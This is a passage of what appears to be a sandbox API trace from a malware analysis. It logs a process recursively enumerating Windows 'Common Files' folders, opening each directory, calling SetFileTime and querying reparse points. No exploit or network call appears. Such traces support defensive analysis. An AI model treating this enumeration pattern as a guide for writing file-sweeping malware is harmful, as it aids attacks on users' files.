returned 0x60d220 [0065.103] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0065.103] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.103] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5da8 [0065.103] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5eb0 [0065.103] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0065.104] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0065.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.104] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0065.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.104] NtClose (Handle=0x18c) returned 0x0 [0065.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5eb0) returned 1 [0065.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5eb0 [0065.104] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.104] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5fb8 [0065.104] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0065.104] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.105] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0065.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb60c0 [0065.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3fc0 [0065.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb61c8 [0065.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.106] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0065.106] GetLastError () returned 0x12 [0065.106] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0065.106] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0065.106] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.106] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0065.106] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0065.106] GetLastError () returned 0x12 [0065.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5fb8) returned 1 [0065.106] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb60c0) returned 1 [0065.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5eb0) returned 1 [0065.106] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0065.106] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0065.106] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0065.106] GetLastError () returned 0x12 [0065.106] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5ca0) returned 1 [0065.106] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5da8) returned 1 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5b98) returned 1 [0065.107] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0065.107] GetLastError () returned 0x12 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5988) returned 1 [0065.107] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5a90) returned 1 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5880) returned 1 [0065.107] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0065.107] GetLastError () returned 0x12 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5568) returned 1 [0065.107] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb5778) returned 1 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0065.107] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0065.107] GetLastError () returned 0x12 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0065.107] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0065.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0065.107] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0065.108] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0065.108] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0065.108] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0065.108] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.108] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0065.108] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.108] NtClose (Handle=0x148) returned 0x0 [0065.108] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0065.108] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0065.108] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0065.108] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.108] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0065.108] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.108] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0065.109] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.109] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.109] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.109] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.109] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.109] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3fe0 [0065.109] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0065.109] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.109] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0065.109] GetLastError () returned 0x12 [0065.109] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1e0 [0065.109] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.109] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.109] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0065.109] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0065.109] GetLastError () returned 0x12 [0065.109] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.109] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0065.109] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0065.109] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0065.109] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0065.109] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0065.109] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0065.110] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0065.110] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0065.110] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0065.110] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0065.110] NtClose (Handle=0x190) returned 0x0 [0065.110] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0065.110] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0065.110] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0065.110] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0065.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1e0 [0065.110] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.110] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0065.110] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0065.110] GetLastError () returned 0x12 [0065.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", 